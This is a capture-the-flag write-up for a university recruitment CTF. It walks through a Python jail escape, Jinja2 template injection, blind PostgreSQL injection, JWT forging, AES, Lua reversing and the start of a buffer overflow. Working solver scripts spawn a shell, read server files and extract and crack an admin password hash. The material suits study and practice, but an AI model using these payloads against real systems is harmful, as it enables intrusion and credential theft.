Writeup CTF Oprec RISTEK 2025

Presented By

Muhammad Fahri Muharram a.k.a. SeeStarz

Misc

Sanity Check

Problem description:

Welcome to NetSOS Open Recruitment! Enjoy the CTF! Find the flag in the server! https://discord.gg/aHxMpX4mhG

On the very top of announcement channel:

```
Free Flag: NETSOS{dont_forget_to_submit_this_free_flag_yah_good_luck_and_have_fun}
```

Simple Jail

Notice that the most import part of this challange is that the disabled builtins. A lot of operators are also forbidden, but `.`, `()`, and `_` goes a long way. We will be using special methods quite a lot on this one. There is also a limitation on line length, but this can be circumvented by using variables since line amount isn't limited.

What we are looking for is to retrieve `__builtins__` since it contained many useful functions, such as `__import__` (since `import` calls `__import__` under the hood), `bytes` (for turning hex into bytes then to string), and many other possibilities. The full list of built-in functions are listed here: https://docs.python.org/3/library/functions.html `__builtins__` is actually a CPython (default python) implementation detail, and it seems to be included as attributes of certain functions. https://docs.python.org/3/library/builtins.html Some local testing shows that modules such as `warning` have this. We need a way to enumerate and test whether a module has access to `__builtins__` or not.

We can achieve this using the object class. The object class can be obtained by getting the attribute `__base__` on any class. To get some class, simply get the attribute `__class__` from any expression i.e. `()`. And then the child of the object class (which is all class) can be obtained by calling `__subclasses__()`. The `__subclasses__()` returns a list of subclasses, which we can index using the `__getitem__` method. Since we do not have access to print function in the jail, we need a way to leak a value, and that would be errors. An Attribute error (by doing `().invalidattribute` for example), shows what type caused that error, which is perfect for this. The script to leak all classes:

```
from pwn import remote
from time import sleep

data = ""
for i in range(999):
    p = remote("34.142.142.133", 9006)
```

```
    payload = f"""\
a=().__class__.__base__
b=a.__subclasses__()
c=b.__getitem__({i})
c.MakeAttrError
EOF"""
    p.sendline(payload.encode())
    response = p.recvall()
    if b"IndexError" in response:
        break

    response = response.decode()
    response = response.split("AttributeError: ")[1]
    start = response.find("'")
    stop = response.find("'", start + 1)
    data += f"{i}: {response[start + 1 : stop]}\n"
    print(data.split("\n")[-2])
    sleep(0.1)

print("========================")
print(data)

print(data, file=open("recon.txt", "w"))
```

Which gives an output of:

```
0: type
1: async_generator
2: int
3: bytearray_iterator
4: bytearray
5: bytes_iterator
6: bytes
7: builtin_function_or_method
8: callable_iterator
9: PyCapsule
10: cell
11: classmethod_descriptor
12: classmethod
13: code
14: complex
15: coroutine
16: dict_items
17: dict_itemiterator
18: dict_keyiterator
19: dict_valueiterator
20: dict_keys
21: mappingproxy
22: dict_reverseitemiterator
23: dict_reversekeyiterator
24: dict_reversevalueiterator
25: dict_values
26: dict
27: ellipsis
```

```
28: enumerate
29: float
30: frame
31: frozenset
32: function
33: generator
34: getset_descriptor
35: instancemethod
36: list_iterator
37: list_reverseiterator
38: list
39: longrange_iterator
40: member_descriptor
41: memoryview
42: method_descriptor
43: method
44: moduledef
45: module
46: odict_iterator
47: pickle.PickleBuffer
48: property
49: range_iterator
50: range
51: reversed
52: symtable entry
53: iterator
54: set_iterator
55: set
56: slice
57: staticmethod
58: stderrprinter
59: super
60: traceback
61: tuple_iterator
62: tuple
63: str_iterator
64: str
65: wrapper_descriptor
66: types.GenericAlias
67: anext_awaitable
68: async_generator_asend
69: async_generator_athrow
70: async_generator_wrapped_value
71: coroutine_wrapper
72: InterpreterID
73: managedbuffer
74: method-wrapper
75: types.SimpleNamespace
76: NoneType
77: NotImplementedType
78: weakref.CallableProxyType
79: weakref.ProxyType
80: weakref.ReferenceType
```

```
81: types.UnionType
82: EncodingMap
83: fieldnameiterator
84: formatteriterator
85: BaseException
86: hamt
87: hamt_array_node
88: hamt_bitmap_node
89: hamt_collision_node
90: keys
91: values
92: items
93: _contextvars.Context
94: _contextvars.ContextVar
95: _contextvars.Token
96: Token.MISSING
97: filter
98: map
99: zip
100: _ModuleLock
101: _DummyModuleLock
102: _ModuleLockManager
103: ModuleSpec
104: BuiltinImporter
105: FrozenImporter
106: _ImportLockContext
107: _thread.lock
108: _thread.RLock
109: _thread._localdummy
110: _thread._local
111: _io._IOBase
112: _io._BytesIOBuffer
113: _io.IncrementalNewlineDecoder
114: posix.ScandirIterator
115: posix.DirEntry
116: WindowsRegistryFinder
117: _LoaderBasics
118: FileLoader
119: _NamespacePath
120: _NamespaceLoader
121: PathFinder
122: FileFinder
123: Codec
124: IncrementalEncoder
125: IncrementalDecoder
126: StreamReaderWriter
127: StreamRecoder
128: _comments._comments_data
129: comments
```

Now we need a way to know which of these classes contains `__builtins__`. I'm checking on my local machine, which isn't the best but it works well enough. I will be checking for `__builtins__` directly, inside the `__dict__`, or inside `__init__` (so the init function).

```
subclasses = ().__class__.__base__.__subclasses__()
for c in subclasses:
    if hasattr(c, "__dict__"):
        if hasattr(c.__dict__, "__builtins__"):
            print("inside dict:", c)
    if hasattr(c, "__builtins__"):
        print("directly:", c)
    if hasattr(c, "__init__"):
        if hasattr(c.__init__, "__builtins__"):
            print("inside init:", c)
```

Which prints:

```
directly: <class 'function'>
inside init: <class '_frozen_importlib._WeakValueDictionary'>
inside init: <class '_frozen_importlib._BlockingOnManager'>
inside init: <class '_frozen_importlib._ModuleLock'>
inside init: <class '_frozen_importlib._DummyModuleLock'>
inside init: <class '_frozen_importlib._ModuleLockManager'>
inside init: <class '_frozen_importlib.ModuleSpec'>
inside init: <class '_frozen_importlib_external.FileLoader'>
inside init: <class '_frozen_importlib_external._NamespacePath'>
inside init: <class '_frozen_importlib_external.NamespaceLoader'>
inside init: <class '_frozen_importlib_external.FileFinder'>
inside init: <class 'codecs.IncrementalEncoder'>
inside init: <class 'codecs.IncrementalDecoder'>
inside init: <class 'codecs.StreamReaderWriter'>
inside init: <class 'codecs.StreamRecoder'>
inside init: <class 'os._wrap_close'>
inside init: <class '_sitebuiltins.Quitter'>
inside init: <class '_sitebuiltins._Printer'>
inside init: <class '_distutils_hack._TrivialRe'>
```

We do see that `FileLoader` exists for both local and remote, so we will use those. Upon checking, it does indeed has a `__builtins__` in it's `__init__` function. Now we need a way to index dictionaries also. Indexing dictionary is a little trickier since it needs to be accessed by key value which is a string. We can, however, retrieve the key by using iterator, then indexing with the returned key. This time we need leak the string value instead of the type. We can do so with a ValueError by casting the string to an int. My code to get the index of each key can be seen below:

```
from pwn import remote
from time import sleep

data = ""
for i in range(9999):
    p = remote("34.142.142.133", 9006)

    payload = f"""\
a=().__class__.__base__
b=a.__subclasses__()
c=b.__getitem__(118)
d=c.__init__
e=d.__builtins__
f=e.__iter__()
{"n=f.__next__()\n" * (i + 1)}
```

```
(1).__class__(n)
EOF"""
    p.sendline(payload.encode())
    response = p.recvall()
    if b"StopIteration" in response:
        break

    print(payload)
    print(response)

    response = response.decode()
    response = response.split("ValueError: ")[1]
    start = response.find("'")
    stop = response.find("'", start + 1)
    data += f"{i}: {response[start + 1 : stop]}\n"
    print(data.split("\n")[-2])
    sleep(0.1)

print("========================")
print(data)

print(data, file=open("builtins.txt", "w"))
```

Which outputs:

```
0: __name__
1: __doc__
2: __package__
3: __loader__
4: __spec__
5: __build_class__
6: __import__
7: abs
8: all
9: any
10: ascii
11: bin
12: breakpoint
13: callable
14: chr
15: compile
16: delattr
17: dir
18: divmod
19: eval
20: exec
21: format
22: getattr
23: globals
24: hasattr
25: hash
26: hex
27: id
28: input
```

```
29: isinstance
30: issubclass
31: iter
32: aiter
33: len
34: locals
35: max
36: min
37: next
38: anext
39: oct
40: ord
41: pow
42: print
43: repr
44: round
45: setattr
46: sorted
47: sum
48: vars
49: None
50: Ellipsis
51: NotImplemented
52: False
53: True
54: bool
55: memoryview
56: bytearray
57: bytes
58: classmethod
59: complex
60: dict
61: enumerate
62: filter
63: float
64: frozenset
65: property
66: int
67: list
68: map
69: object
70: range
71: reversed
72: set
73: slice
74: staticmethod
75: str
76: super
77: tuple
78: type
79: zip
80: __debug__
81: BaseException
```

```
82: Exception
83: TypeError
84: StopAsyncIteration
```

Then with converting hex list to bytes shenanigans, we can now create an arbitrary string. Note that the much more convenient method, `int.to_bytes` on the remote requires a byte order. This is impossible because the comma is banned and so is the unpacking operator `*`. With arbitrary string in hand and access to `__import__`, we just need to pop a shell.

This is the final solver:

```
from pwn import remote

payload = f"""\
a=().__class__.__base__ # Get the object class
b=a.__subclasses__() # List all subclasses
c=b.__getitem__(118) # At 118 there is FileLoader which contains builtins
d=c.__init__ # The builtin is located in the init function
builtins=d.__builtins__ # Access the builtin
z=builtins # Make alias

list=b.__class__ # Retrieve list

i=z.__iter__()
{"n=i.__next__()\n" * (57 + 1)} # Bytes is at index 57
bytes=z.__getitem__(n) # Retrieve bytes

i=z.__iter__()
{"n=i.__next__()\n" * (42 + 1)} # Print is at index 42
print=z.__getitem__(n) # Retrieve print (unused)

i=z.__iter__()
{"n=i.__next__()\n" * (6 + 1)} # __import__ is at index 6
imp=z.__getitem__(n) # Retrieve __import__

# s0 is a list of hex bytes of string "subprocess"
s0=list()
s0.append(0x73)
s0.append(0x75)
s0.append(0x62)
s0.append(0x70)
s0.append(0x72)
s0.append(0x6f)
s0.append(0x63)
s0.append(0x65)
s0.append(0x73)
s0.append(0x73)

# Turn s0 into a string
s0=bytes(s0)
s0=s0.decode()

# Create "sh" string
s1=list()
s1.append(0x73)
```

```
s1.append(0x68)
s1=bytes(s1)
s1=s1.decode()

# Import subprocess and call it
subprocess=imp(s0)
subprocess.call(s1)
EOF
"""

# Clean the payload from comments
lines = payload.split("\n")
for i, line in enumerate(lines):
    lines[i] = line.split("#")[0].strip()
payload = "\n".join(lines)

open("payload.txt", "w").write(payload)

p = remote("34.142.142.133", 9006)
p.sendline(payload.encode())
p.interactive()
```

After getting shell, there exists a file named `flag-7601ea00cb9e9aee413d7ceb71631ab2`. Viewing the contents gives us:

```
NETSOS{mff_kalo_susah_faktor_selalu_ngerjain_pyjail_hanasuru_7e22844712}
```

Cryptography

Really Simple AES

This one is really simple. Basically the `iv` is known to us, and the only catch is that encrypting uses CBC mode while decrypting uses ECB mode. https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation Since they only differ by a xor of the previous section after the AES encryption/decryption section, this is pretty trivial. To be exact, for the first segment, we need to xor the decrypted by CBC using the `iv`. For the next segments, we need to xor the respective section with the previous ciphertext. This can easily be done manually, or with the help of a few helper scripts, but here's the full solver anyways:

```
from pwn import remote
from binascii import hexlify, unhexlify
from ast import literal_eval

IV = b"whatisthisfor???"

p = remote("34.142.142.133", 9004)
message = p.recvline_contains(b"This is the encrypted block: ").decode()

# Safely evaluates the blocks into a list of bytes
encrypted = literal_eval(message.removeprefix("This is the encrypted block: "))

ecb_decrypted = []
for value in encrypted:
    p.sendline(hexlify(value))
    message = p.recvline_contains(b"Here is the result: ").decode()
```

```
    ecb_decrypted.append(unhexlify(message.removeprefix(">> Here is the result: ")))


def xor_bytes(bytes1, bytes2):
    return bytes(b1 ^ b2 for (b1, b2) in zip(bytes1, bytes2))


decrypted = [xor_bytes(IV, ecb_decrypted[0])]
for i in range(1, len(ecb_decrypted)):
    decrypted.append(xor_bytes(encrypted[i - 1], ecb_decrypted[i]))

print((b"".join(decrypted)).decode())
```

Giving us the flag (without newlines):

```
NETSOS{this_is_a_very_long_flag_trust_me_u_dont_wanna_do_it_manually
_cuz_its_a_pain_to_decrypt_this_one_by_one_or_brick_by_brick_its_so_tiring_to_do_so
_so_its_better_to_do_it_with_script_agree?_here's_come_the_random_string_using_cyclic_200_
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa
taaauaaavaaawaaaxaaayaaazaabbacommentsaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabn
aaboaabpaabqaabraabsaabtaabuaabvaabwa_hehe_7e46b5649c}
```

Reverse Engineering

Two in One

This binary is doing some lua thing. First of all, a password is needed. Inspect the binary to see that the inputted password does get sent to the checker (via rdi). It does do a weird check for newline before the checker to ensure it doesn't contain a trailing newline. It is however none of our concerns.

Upon checking the `check_input` function, it is apparent that the value passed (`rdi`) gets stored in `[rbp - 0x8]`. In this function, `[rbp - 0x8]` (the first local variable of the function you could say), is used multiple times, I will refer to it as `x`. Do note that `x` actually contains the base pointer for the password that we passed, not the value or double pointer.

Now let's examine the checks. I will be summarizing what it's checking for. First check: `[x+3] == [x]` Second check: `[x+2] == ([x+1] + [x]) ^ 0x94` Third check: `[x+1] == [x] ^ 0x24` Fourth and final check: `[x] = 0x65` With this in mind, we can solve for the values of `[x], [x+1], [x+2], and [x+3]`. We thus get `0x65, 0x41, 0x32, 0x65`, which is the same as the ASCII `eA2e`. There you go, our password is `eA2e`.

Now for the next part, it is calling a lua function. It starts by creating a new state (`luaL_newstate`). It then proceeds to load standard libraries to it (`luaL_openlibs`). And then it loads a lua program (`lua_load`) from a reader (the function `readMemFile`). If all goes well it will just simply run the lua program. We do not have any sort of the usual binary exploitation style exploits, so let's trace what `readMemFile` does. According to the docs of lua 5.1 (we can check the version it wants by running ldd), `readMemFile` is a `lua_Reader`. https://www.lua.org/manual/5.1/manual.html#lua_load

The job of `readMemFile` is to return a pointer, and after carefully dissecting each part, it indeed is doing its job. `readMemFile` stores an offset but it isn't actually being used, what it's doing is return the whole block at once of size `0xcc4`. Do note what the return value is here, it takes a relative address from `.rodata` at address `0x2020`. That "LuaQ" string is a magic number for the lua bytecode format.

Now that we know that there is a bytecode, plop it into a lua decompiler. For example from the website https://luadec.metaworm.site We get the following (removed indentation for easier viewing):

```
flag_list = {
  "N",
  "T",
  "O",
  "E",
  "S",
  "}",
  "{"
}
function checkFlag()
  io.write("What\'s index number 0? ")
  a = io.read()
  if a == flag_list[1] then
    io.write("What\'s index number 1? ")
    a = io.read()
  if a == flag_list[4] then
    io.write("What\'s index number 2? ")
    a = io.read()
  if a == flag_list[2] then
    io.write("What\'s index number 3? ")
    a = io.read()
  if a == flag_list[5] then
    io.write("What\'s index number 4? ")
    a = io.read()
  if a == flag_list[3] then
    io.write("What\'s index number 5? ")
    a = io.read()
    flag_list[5] then
    io.write("What\'s index number 6? ")
    a = io.read()
  if a == flag_list[7] then
    io.write("What\'s index number 7? ")
    a = io.read()
  if a == string.char(string.byte(flag_list[3]) - 3) then
    io.write("What\'s index number 8? ")
    a = io.read()
  if a == string.char(tonumber(string.format("%X", string.byte(flag_list[4]) + 16), 16)) then
    io.write("What\'s index number 9? ")
    a = io.read()
  if a == string.char(string.byte(flag_list[5]) % 78 * 13) then
    io.write("What\'s index number 10? ")
    a = io.read()
  if a == string.char(string.byte(flag_list[1]) % 78 + 114) then
    io.write("What\'s index number 11? ")
    a = io.read()
  if a == string.char(95) then
    io.write("Last Input: ")
    a = io.read()
  if a == string.lower(string.format("%X", 832717073)) then
    print("REDACTED Congrats")
  else
    print("False")
  end
```

```
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
  else
    print("False")
  end
end
checkFlag()
```

To easen the reversing, just make it print all the checks, like so:

```
flag_list = {
 "N",
 "T",
 "0",
 "E",
 "S",
 "}",
 "{",
}

io.write(flag_list[1])
io.write(flag_list[4])
io.write(flag_list[2])
```

```
io.write(flag_list[5])
io.write(flag_list[3])
io.write(flag_list[5])
io.write(flag_list[7])
io.write(string.char(string.byte(flag_list[3]) - 3))
io.write(string.char(tonumber(string.format("%X", string.byte(flag_list[4]) + 16), 16)))
io.write(string.char(string.byte(flag_list[5]) % 78 * 13))
io.write(string.char(string.byte(flag_list[1]) % 78 + 114))
io.write(string.char(95))
io.write(string.lower(string.format("%X", 832717073)))
```

When run, this prints: `NETSOS{LUAr_31a24111`

Therefore, our final input is as follows:

```
eA2e
N
E
T
S
O
S
{
L
U
A
r
_
31a24111
```

which the server will return with: `_88505bfe1a}` Giving our final flag:

```
NETSOS{LUAr_31a24111_88505bfe1a}
```

Web Exploitation

Weebsocks

The important part is in `src/api/main.go`, because it's the backend. The most interesting part to look at first is the `handleWebSocket` function. It reads a message and do actions depending on the contents. For a flag, the condition is the sender must be "staff", but the `sub` variable also must be "staff". We'll revisit this later, but for now note that we can immediately exploit the "/generate" so long as we modify the sender. Modifying the sender can be done in multiple ways such as `curl` or `requests`, but easiest one is to do it within burpsuite and modify it on the run. "/generate" message gives us a `tokenString` to work with, we need to uncover how to use it.

If we take a look at the routing, specifically the "/api/ws", we can see that `handleWebSocket` is called in that route. Also, take notice that the `sub` is get from a jwt claims. What is JWT? JWT is a standard that consists of three parts, a header, payload, and signature. The header consist of base64 encoded metadata which contains information such as what algorithm of hashing it's using. The payload consists of base64 encoded json object. This can be filled with just about anything, and in this case one of them is the "sub" key. The last part contains the signature, which is a hash of the two sections beforehand. This part also make use of the server's private signing key one way or another, so it can't be faked.

However, we don't need to fake the signature, it's handed to us. Recall that "/generate" message generates the token for us, it calls `generateToken` with whatever we supply it as sender. This gets passed to a function

where jwt token will be made with the server's signing key. With this we can have a token saying that we are a staff, valid for 5 minutes. Now we just need to initiate the websocket upgrade with that generated token instead of the one automatically queried by the browser.

So what we need to do is simple now: Send "/generate" to the chatbot, but change its sender field to "staff" This will give us the token we need, for example (in reality without newlines):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJleHAiOjE3NDEzNDYzNjMsImlhdCI6MTc0MTM0NjA2Mywic3ViIjoic3RhZmYifQ.
LpKgh_EhTMzwlmzVM_JWUPmGDVRjHouYhs_eOZmUtPM

After that we just need to hijack the part where the browser asks for a connection upgrade to use that token instead. After that, send "/flag" to the chatbot, but once again set its sender field to "staff" The server will then hand us the flag.

```
NETSOS{A01_br0k3n_4cc3ss_c0ntr0l_be5b3c5c7d}
```

Papa Hashed

This is an SQL injection scenario with the postgresql database. We can know this is a postgresql database from the docker files provided. The interesting part of the code is in `src/utils/security.js` which shows the blacklists; `src/models/userModel.js` which shows the query made; and `src/controllers/authController.js` which shows what happen during a request. Being able to visualize what actually gets sent and the whole story of the response is very helpful here, that's why I'm running my own server using the docker config. To do this, make sure docker is installed, then run `sudo docker compose up` (assuming the service is online). Now we can start debugging with info.

We do know that the following is banned:

```
"DROP", "DELETE", "UPDATE", "INSERT", "--", ";", "xp_cmdshell",
"EXEC", "UNION", "SELECT *", " OR ", "1=1", "/*", "*/"
```

And the vulnerable query is:

```
const query = `SELECT * FROM users WHERE email = '${email}'`;
```

Note that `AND` is not banned here, and we can still do things like `AND ''='` to remove the trailing quote.

Then after a lot of trying things out, there is one that works. We can procedurally "bruteforce" the password hash character by character. This is possible with the function `SUBSTRING`. To actually check against the correct password and getting insight from it is a challange however. If we just use the admin email address, then it will never pass the password check. On the other hand if we use our controlled email address, then it's not easy to check for admin password, though possible.

We will be using nested select to `AND` our email address (always exists, and password always correct) with substring of the admin hash. I already registered this email address so it should work, if you want a different one you should register first.

Contents of the email will be: `SeeStarz@gmail.com' AND (SELECT (SUBSTRING(password, 1, 1)) FROM users WHERE email='admin@ristek.com')='A`

And the password: `thisisnotmyrealpassword`

The inner select will return a single character substring on the first index (one-indexing) of admin's hash. We will check it against the values `[0-9A-F]`, if the guess is correct it will login properly but otherwise it will say invalid credentials. With the password hash being 32 characters long, and each having 16 unique possibilities, at most we need to try to login 512 times, which is reasonably not bruteforcing.

Here's the full solver:

```
import requests

hash = ""
HEX_VALUES = "1234567890commentsdef"
TARGET_EMAIL = "admin@ristek.com"
CONTROLLED_EMAIL = "SeeStarz@gmail.com"
CONTROLLED_PASSWORD = "thisisnotmyrealpassword"
URL = "http://34.142.142.133:9007/auth/login"

for i in range(1, 33):
    for value in HEX_VALUES:
        payload = f"""{CONTROLLED_EMAIL}' AND \
(SELECT (SUBSTRING(password, {i}, 1)) FROM users \
WHERE email='{TARGET_EMAIL}')='{value}"""
        response = requests.post(
            URL,
            json={"email": payload, "password": CONTROLLED_PASSWORD},
            headers={"Content-Type": "application/json"},
            allow_redirects=False,
        )
        if response.status_code == 302:
            hash += value
            break

    if len(hash) != i:
        exit(1)

print("Admin hash:", hash)  # f6fda1ba09cfe56a0a6ecfd36fb0877d
```

A hash isn't supposed to be reversible, but putting that hash into an online md5 hash cracker such as https://crackstation.net immediately gives the result "Ristek0" This is most likely due to the fact the password is only 7 characters long. Although there are several billions of possibilities, a computer can do billions of calculations per second so it cancels out nicely. This will not work as easily however for longer more secure passwords.

Logging in with that password (Ristek0), gives us the flag

```
NETSOS{Ju5t_s0m3_3rr0r_b4s3d_SQL_50389de056}
```

Menfess

The files have wrong naming here. The `src` directory should be `app` directory. The `src/app.py` file should be `app/src.py` file There are two import part of this one. First is the nginx configuration. This basically means that for getting the confession we need a websocket connection. The rest uses normal http connection as to not confuse flask. The difference can be seen in that the api endpoint does not forward `http_upgrade` header.

Now for the actual server, there are two important endpoints. The `/api/get-confession` endpoint sounds promising since what it does is read the file at you. However this isn't actually exploitable since it won't process `..` endpoints. On top of that, the nginx endpoint also only allows hex characters plus `-`. And later on in the challange, it's found that the flag isn't named `flag.txt` anyways.

So the actual exploitable part is the `/send-confession` endpoint. This is also hinted by the fact `BLACKLIST` is only valid there. The exploitable function that we have is the `render_template_string`. Testing shows that this uses the `jinja2` backend for templating. We can make use of this article for `jinja2` common exploits. https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

So what are banned here? The `{{` and `}}` meant no expressions. However this seems to be remedied by the fact something like `{% print '1' %}` is supported somehow. Next, it bans `.`, this can be alleviated by `attr` filter, like`() | attr("__class__")`. Also it bans a couple strings, but it isn't really important since we can do hexadecimal string escape. For example if we want `"read"`, we give `"\x72\x65\x61\x64`. Therefore even if `[` and `]` is banned, we can still index with `attr("__getitem__")`. After that, this template attack is pretty similar to a pyjail situation.

Now let's make a script to automate sending payloads and reading it's output:

```
import requests
from sys import argv

payload = "test"
if len(argv) > 1:
    payload = argv[1]

payload = payload.replace("class", "\\x63\\x6c\\x61\\x73\\x73")
payload = payload.replace("getitem", "\\x67\\x65\\x74\\x69\\x74\\x65\\x6d")
payload = payload.replace("globals", "\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73")
payload = payload.replace("import", "\\x69\\x6d\\x70\\x6f\\x72\\x74")
payload = payload.replace(".", "\\x2e")
payload = payload.replace("read", "\\x72\\x65\\x61\\x64")

if len(argv) > 2:
    remote = bool(int(argv[2]))
else:
    remote = True

if remote:
    URL = "http://34.142.142.133:9009"
else:
    URL = "http://localhost:5000"
SEND_ROUTE = "/send-confession"
POST_URL = URL + SEND_ROUTE

if remote:
    WEBSOCKET_HEADERS = {
        "Upgrade": "websocket",
        "Connection": "Upgrade",
        "Sec-WebSocket-Key": "SGVsbG8sIHdvcmxkIQ==",
        "Sec-WebSocket-Version": "13",
    }
else:
    WEBSOCKET_HEADERS = {}


def get_api_url(confession_id):
    return f"{URL}/api/get-confession/{confession_id}.txt"


data = {"confession": payload, "csrf": "{{ csrf }}"}
response = requests.post(URL + SEND_ROUTE, data=data)
try:
    confession_id = response.json()["confession_id"]
except:
```

```
    print(response.text)
    exit(1)
response = requests.get(get_api_url(confession_id), headers=WEBSOCKET_HEADERS)
print(response.text)
```

Nice, we can play around with payloads like `{% print (()) %}`, `{% print().__class__) %}`. Though we don't have most of python's function available to us, python object are still usable. So let's scan for what we can possible exploit.

```
import requests
from subprocess import run

# payload = """\
# {% for cls in () | attr("__class__") | attr("__base__") | attr("__subclasses__")() %}\
# {% if cls | attr("__init__") and cls | attr("__init__") | attr("__builtins__") %}\
# {% print cls | attr("__name__") %}
# {% elif cls | attr("__builtins__") %}\
# {% print cls | attr("__name__") %}
# {% endif %}\
# {% endfor %}"""

payload = """\
{% for cls in () | attr("__class__") | attr("__base__") | attr("__subclasses__")() %}\
{% if cls | attr("__init__") and cls | attr("__init__") | attr("__globals__") %}\
{% print cls | attr("__name__") %}
{% else %}\
None
{% endif %}\
{% endfor %}"""


payload = payload.replace("class", "\\x63\\x6c\\x61\\x73\\x73")
payload = payload.replace("getitem", "\\x67\\x65\\x74\\x69\\x74\\x65\\x6d")
payload = payload.replace("globals", "\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73")

result = run(
    ["python3", "solver.py", payload, "1"], capture_output=True
).stdout.decode()

result = result.removeprefix("Admin received: ")
print(result)

file = open("scout.txt", "w")
for i, line in enumerate(result.split("\n")):
    file.write(f"{i}: {line}\n")
file.close()
```

The commented part of the script will scan for useful classes that contains `__builtins__`. This unfortunately doesn't give anything. Next we scan for `__globals__`, and we get quite a lot of results.

```
<...snip...>
75: None
76: None
77: None
78: None
```

```
79: None
80: _ModuleLock
81: _DummyModuleLock
82: _ModuleLockManager
83: ModuleSpec
84: None
85: None
86: None
87: None
88: None
89: None
<...snip...>
```

Nice, now we can retrieve `__builtins__` from `__globals__`, and from there we can use `__import__` and `open`.

```
payload = """\
{% print () | attr("__class__") | attr("__base__") | attr("__subclasses__")()\
| attr("__getitem__")(80) | attr("__init__") | attr("__globals__")\
| attr("__getitem__")("__builtins__") | attr ("__getitem__")("__import__")("os")\
| attr("listdir")()
%}\
"""
```

This payload will run `os.listdir()` and list what's inside the current working directory. The result is: `Admin received: [&#39;72d19634674d24597344d71c928388f0.txt&#39;, &#39;confession&#39;, &#39;app.py&#39;, &#39;template&#39;, &#39;requirements.txt&#39;]` There you go, that `72d19634674d24597344d71c928388f0.txt` is the flag file.

Now we just need to open and read that file with this payload.

```
payload = """\
{% print () | attr("__class__") | attr("__base__") | attr("__subclasses__")()\
| attr("__getitem__")(80) | attr("__init__") | attr("__globals__")\
| attr("__getitem__")("__builtins__") | attr ("__getitem__")\
("open")("72d19634674d24597344d71c928388f0.txt", "r") | attr("read")()\
%}\
"""
```

Our final solver script:

```
import requests
from sys import argv

# payload = """\
# {% print () | attr("__class__") | attr("__base__") | attr("__subclasses__")()\
# | attr("__getitem__")(80) | attr("__init__") | attr("__globals__")\
# | attr("__getitem__")("__builtins__") | attr ("__getitem__")("__import__")("os")\
# | attr("listdir")()
# %}\
# """

payload = """\
{% print () | attr("__class__") | attr("__base__") | attr("__subclasses__")()\
| attr("__getitem__")(80) | attr("__init__") | attr("__globals__")\
| attr("__getitem__")("__builtins__") | attr ("__getitem__")\
("open")("72d19634674d24597344d71c928388f0.txt", "r") | attr("read")()\
```

```
%}\
"""

if len(argv) > 1:
    payload = argv[1]

payload = payload.replace("class", "\\x63\\x6c\\x61\\x73\\x73")
payload = payload.replace("getitem", "\\x67\\x65\\x74\\x69\\x74\\x65\\x6d")
payload = payload.replace("globals", "\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73")
payload = payload.replace("import", "\\x69\\x6d\\x70\\x6f\\x72\\x74")
payload = payload.replace(".", "\\x2e")
payload = payload.replace("read", "\\x72\\x65\\x61\\x64")

if len(argv) > 2:
    remote = bool(int(argv[2]))
else:
    remote = True

if remote:
    URL = "http://34.142.142.133:9009"
else:
    URL = "http://localhost:5000"
SEND_ROUTE = "/send-confession"
POST_URL = URL + SEND_ROUTE

if remote:
    WEBSOCKET_HEADERS = {
        "Upgrade": "websocket",
        "Connection": "Upgrade",
        "Sec-WebSocket-Key": "SGVsbG8sIHdvcmxkIQ==",
        "Sec-WebSocket-Version": "13",
    }
else:
    WEBSOCKET_HEADERS = {}


def get_api_url(confession_id):
    return f"{URL}/api/get-confession/{confession_id}.txt"


data = {"confession": payload, "csrf": "{{ csrf }}"}
response = requests.post(URL + SEND_ROUTE, data=data)
try:
    confession_id = response.json()["confession_id"]
except:
    print(response.text)
    exit(1)
response = requests.get(get_api_url(confession_id), headers=WEBSOCKET_HEADERS)
print(response.text)
```

Gives us: `Admin received: NETSOS{17y0m07_1D3_4r4_6.0_1M40_50389de069}`

Binary Exploitation

Simple Calculator

Running `checksec` on the binary shows us a binary with full security enabled, NX, PIE, RELRO, and Stack Canary. Indeed when inspecting the binary, it puts `[fs:0x28]` to `[rbp-0x18]` and recheck it once `vuln` is returning. Inspecting the source file we can easily see this is the usual buffer overflow attack, with ret2win as the goal.

There are some checks like checking if `arr_size > 0x100` and `idx > arr_size`, but these can be circumvented. Before running the loop, `vuln` does quite a lot of weird things. The important part is its stack layout:

```
rbp
-0x08 -> saved rbx [8 bytes]
-0x10 -> padding?
-0x18 -> stack canary [8 bytes]
-0x20 -> calc [8 bytes, just a pointer]
-0x28 -> 7 for some reason?
-0x30 -> arr_size [8 bytes]
-0x34 -> calc[7] [4 bytes]
...
-0x50 -> rsp / calc[0] [4 bytes]
```

Note that `idx > arr_size` means we can just barely overflow the `arr_size` and set it to something bigger. We can't recklessly change it though since it's capped at `0x100`. We also need to be careful since we are inputting a float, but it's then interpreted as integers. In this case, the hexadecimal floating point works wonders. I am using `0x1p-141` on my solver, this is a denormalized floating point that has the byte representation exactly to the same as the integer representation of `0x100`

Now that we can overflow to our heart's content, let's continue to the next problem. We can't recklessly overwrite everything, there are sensitive data such as the `calc` pointer and stack canary. How do we make sure we don't screw up these data? There are two ways:

First, the unintended way, is using the leak from the binary. The binary accidentally checks for `choice > idx` instead of `choice >= idx`. We can use this to leak what's on the next 4 bytes before writing to it.

Second, the intended way, is to exploit disrepancy between `scanf` and it's internal converter, `strtod` or other similar converters. If we input `-`, `scanf` will happily read it and consume it, but `strtod` does not recognize it. Scanf recognises that conversion failed and therefore not modify the given pointer. But it still consumed the input regardless so it's not hanging around in the buffer making invalid inputs. Note that this is the explanation that I find to be fitting, I have not yet been able to decipher the full implementation of `scanf` and how it works.

Regardless, the fact we are inputting a float instead of raw bytes or hex string is annoying, but not impossible. So long as the bytes can be represented as a floating point (not NAN), we can still input it. We will make use of the hexadecimal floating point notation. This is supported by `strtod` and therefore `scanf`. https://cplusplus.com/reference/cstdlib/strtod

